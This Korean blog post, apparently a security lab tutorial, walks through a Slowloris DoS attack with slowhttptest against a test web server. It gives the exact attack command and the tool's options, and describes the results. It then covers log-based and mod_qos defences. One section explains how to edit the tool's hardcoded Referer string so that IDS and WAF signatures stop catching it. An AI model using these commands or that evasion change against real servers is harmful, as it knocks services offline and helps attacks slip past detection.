'slowhttptest'를 이용한 HTTP GET 플러딩 공격(a.k.a slowloris)

2017. 3. 7. 00:00보안 & 해킹/정보 보안

Slowhttptest를 이용한 DoS 공격 모음


1. 'slowhttptest'를 이용한 HTTP GET 플러딩 공격(a.k.a slowloris)

http://whackur.tistory.com/34


2. 'slowhttptest'를 이용한 HTTP_ Slowbody 공격 (a.k.a RUDY)

http://whackur.tistory.com/35


3. 'slowhttptest'를 이용한 HTTP_SlowRead 공격

http://whackur.tistory.com/37






HTTP GET 플러딩 공격의 원리는 아래 링크에 나와있다.


문서를 보기 전 공격 원리에 대해 이해한 후 실습해보도록 한다.


링크 바로가기



1. 목적


- HTTP GET메소드의 형태를 보고 어떻게 공격이 들어오는지 이해한다.


- slowhttptest 도구를 이용한 HTTP GET 플러딩 공격을 실습한다.


- 패킷의 형태와 도구의 특성을 안다.


- 공격에 대한 방어책을 알아본다.


- 방어책을 다시 뚫기위해 도구를 수정해본다.


2. 이해


HTTP GET메소드의 구조를 보면 아래와 같다.




구분자는 헥사값 '0d 0a'에 의해 구분되며 마지막엔 공통적으로 구분자가 '0d 0a 0d 0a'임을 볼 수 있다.


다량의 GET 메소드를 요청하지만 패킷의 끝을 '0d 0a 0d 0a'가 아닌 '0d 0a'로 끝을 맺어 서버가 응답을 계속 기다리게 한다.



3. Slowloris 공격 실습



피해자 환경 : Ubuntu server 14.04_shopping mall 설치

공격자 환경 : 칼리리눅스2 / 2016.2


칼리 리눅스에서 slowhttptest 도구가 설치되어 있지 않다.


해당 도구를 설치해준다.


그리고 네트워크상의 패킷량을 GUI형태로 보기 위하여 etherape 도구 또한 설치한다.


apt-get update
apt-get install slowhttptest
apt-get install etherape


옵션을 알아보자.

slowhttptest, a tool to test for slow HTTP DoS vulnerabilities - version 1.6
Usage: slowhttptest [options ...]
Test modes:
  -H               slow headers a.k.a. Slowloris (default)
  -B               slow body a.k.a R-U-Dead-Yet
  -R               range attack a.k.a Apache killer
  -X               slow read a.k.a Slow Read
 
Reporting options:
 
  -g               generate statistics with socket state changes (off)
  -o file_prefix   save statistics output in file.html and file.csv (-g required)
  -v level         verbosity level 0-4: Fatal, Info, Error, Warning, Debug
 
General options:
 
  -c connections   target number of connections (50)
  -i seconds       interval between followup data in seconds (10)
  -l seconds       target test length in seconds (240)
  -r rate          connections per seconds (50)
  -s bytes         value of Content-Length header if needed (4096)
  -t verb          verb to use in request, default to GET for
                   slow headers and response and to POST for slow body
  -u URL           absolute URL of target (http://localhost/)
  -x bytes         max length of each randomized name/value pair of
                   followup data per tick, e.g. -x 2 generates
                   X-xx: xx for header or &xx=xx for body, where x
                   is random character (32)
  -f content-type  value of Content-type header (application/x-www-form-urlencoded)
  -m accept        value of Accept header (text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)
 
Probe/Proxy options:
 
  -d host:port     all traffic directed through HTTP proxy at host:port (off)
  -e host:port     probe traffic directed through HTTP proxy at host:port (off)
  -p seconds       timeout to wait for HTTP response on probe connection,
                   after which server is considered inaccessible (5)
 
Range attack specific options:
 
  -a start        left boundary of range in range header (5)
  -b bytes        limit for range header right boundary values (2000)
 
Slow read specific options:
 
  -k num          number of times to repeat same request in the connection. Use to
                  multiply response size if server supports persistent connections (1)
  -n seconds      interval between read operations from recv buffer in seconds (1)
  -w bytes        start of the range advertised window size would be picked from (1)
  -y bytes        end of the range advertised window size would be picked from (512)
  -z bytes        bytes to slow read from receive buffer with single read() call (5)




* 주요 옵션 설명


위의 항목을 참고하여 괄호 안의 값들이 디폴트임을 알자.


-H // slow headers aka slowloris (디폴트 설정이기에 대문자 옵션을 주지 않으면 기본.)

-B // R-U-Dead-Yet , RUDY 공격

-R // Apache 취약점 공격

-X // Slow Read 공격


-g // 변화되는 소캣의 상태 통계 생성. -o와 같이 사용

-o [file_name] // report 보고서 출력파일 생성. -g 옵션을 주고 실행하여야 한다.


-c // 타겟에 연결시도할 최대 세션숫자. 시스템 성능에 따라 1000~4000 정도까지 충분히 높게주어야 결과확인이 쉽다.


-i // 데이터간 전송 간격

-l // 테스트 시간 제한

-r // 초당 연결 수. 높게 설정할수록 가파르게 연결 세션이 올라간다.

-s // 헤더의 내용 길이. 필요한 경우에 사용한다. RUDY와 같이 사용

-t [verb] // request시 지정 단어를 사용

-u [URL] // 타겟 URL

-x [bytes] // 탐지를 피하기 위한 random한 문자열을 X- 다음에 붙여준다. 

-p [Seconds] // 지정한 시간(초)이 흐른 후에도 응답이 없으면 접속 불가능하다고 판단한다.





위 옵션값을 참조하여 Slowloris 공격을 수행하기 위한 옵션은 아래와 같다.


slowhttptest -c 4000 -g -o slowloris -i 10 -r 100 -t GET -x 3 -p 3 -u http://192.168.10.132


-H 옵션은 디폴트기에 생략했으나 써도 된다.


-c 옵션을 1000 정도로 주면 시스템 상황에 따라 웹서버가 여전히 버티는 경우도 있다. 따라서 살짝 높게주자. 


-g와 -o옵션을 같이 써서 report output을 생성하자.


-x는 32값을 굳이 수정할 필요는 없다. 


-r 옵션이 클수록 서비스요청은 가파르게 상승하고 웹서버는 확실히 죽을것이다.


-t 뒤의 GET은 GET메소드인 척 하는 것인데 GET대신에 다른 문자열을 주어도 일반적 상황에서는 공격에 지장이 없다.






공격 수행시 화면은 아래와 같다.





report 결과




5~6초 사이에 가용 서비스가 현저하게 줄어든다.




12초를 전후하여 서비스가 한계치를 넘어 종료된다.




패킷을 캡쳐해보면 [TCP segment of a reassembled PDU]라고 나오는데 GET메소드의 패킷과 같다.


내부의 내용을 보면 GET으로 요청을 하지만 정상패킷과 달리 끝이 '0d 0a' 한쌍 뿐이다.


이와 같이 비정상적인 GET요청을 다량으로 내보낸다.




홈쇼핑 홈페이지가 공격받아 Connecting... 으로 계속 요청중이며 서비스가 이용불가능한 상태이다.



etherape 실행 후 GUI 화면.


상당히 무거운 프로그램이므로 가상 머신이 멈추지 않도록 주의하도록한다.


걱정된다면 -c 옵션의 값을 줄여 시도해보자.






4. 방어책


세션 연결 기반 공격의 경우 출발지 IP는 변조될 수가 없기 때문에 출발지 IP 기준의 임계치를 통하여 방어가 가능하다. 하지만 임계치 기반의 패킷탐지는 결국 공격자로부터 공격을 당하고 보는 것이기에 완벽한 방어가 불가능하다. 모니터링과 동시에 적절한 임계치 설정을 하는 수 밖에 없다.


이곳에 아주 좋은 방어전략이 있다. 


다양한 전략이 있지만 확실한 전략은 아래와 같다.


However, today, it probably makes more sense to defend against specific tools rather than slow HTTP attacks in general. Tools have weaknesses that can be identified and and exploited when tailoring your protection. For example, slowhttptest doesn’t change the user-agent string once the test has begun, and it requests the same URL in every HTTP request. If a web server receives thousands of connections from the same IP with the same user-agent requesting the same resource within short period of time, it obviously hints that something is not legitimate. These kinds of patterns can be gleaned from the log files, therefore monitoring log files to detect the attack still remains the most effective countermeasure.


요약하자면 일반적인 도구에는 사용자가 식별할 수 있는 약점이 있다. slowhttptest 도구는 테스트가 시작되면 모두 같은 사용자 문자열(여기선 GET)을 요청한다. 웹 서버가 짧은 시간 내에 수천개의 동일한 리소스를 요청하는 경우는 정상적이지 않다. 따라서 이러한 패턴을 탐지하여 로그 파일을 모니터링하는 것이 여전히 가장 효과적인 대응책이다.


(결국 완전한 자동화가 현재로서는 불가능한 보안 관제에서 하는 일이다...)


특히나 slowloris 공격은 다량의 좀비를 이용한 DDoS공격이 아닌 DoS공격이며 HTTP 특성을 이용하므로 더욱 탐지가 힘든편이다.




5. 해커라면 뚫어보자


IDS 탐지나 웹 방화벽에서 탐지를 하고 있다면 위와같은 툴의 특성을 이용할 것이라 생각할 수 있다.


slowhttptest 툴의 특성은 무엇일까?


패킷 첨부파일을 받는다면 알 수 있겠지만 처음 시작시 정상적인 패킷을 한번 보내고 그 이후로 비정상적 패킷을 보내는데 도구의 String값(일종의 signature)이 박혀있다.


당신이 능력좋은 해커라면 새로 툴을 만들어도 되지만 있는 툴을 수정하는게 훨씬 편하고 빠르다.


GET메소드인척 하는 패킷의 형태는 아래와 같다.



오 이런? 보이는가?


Referer: https://github.com/shekyan/slowhttptest/ 가 String으로 박혀있다.


툴의 이름에서 알 수 있듯이 'test'목적'이기 때문이다. 


그러면 친절한 shekyan님의 말씀에 따라 툴을 수정해보자.


https://github.com/shekyan/slowhttptest/


에서 도구를 받는다.


그리고 윈도우 폴더에서 github String 값을 검색한다.


slowhttptest.cc 파일 안에 github 문자열이 검색된다.



 

uger_agents 문자열 안에 패킷을 캡쳐했던 곳에서 보던 문자열이 보인다.


referer 안에 github 주소가 하드코딩 값으로 박혀있는 것이 보인다!


그럼 이것만 수정해주면 쉽게 막을 수 없는 DoS공격툴을 얻게 되는 것이다 ^^



TEST도구와 공격 툴의 차이점은 정말로 '한 끗' 차이이다.


사실상 거의 없다고 할 수도 있겠다.


이 점을 염두하자.




6. 실습결과 첨부파일


slowloris.csv

slowloris.html

slowloris.pcapng






7. 추가. Slowloris 모듈로 수비 방법


아래와 같이 모듈설치로 수비할 수 있다.

apt-get -y install libapache2-mod-qos

vim /etc/apache2/mods-available/qos.conf

에서 아래와 같이 설정한다.

최대 연결 수가 50임을 볼 수 있다.

slowloris는 dos 공격으로 사용될 때에는 출발지 IP가 하나기 때문에 이런 방법으로 수비가 가능하다.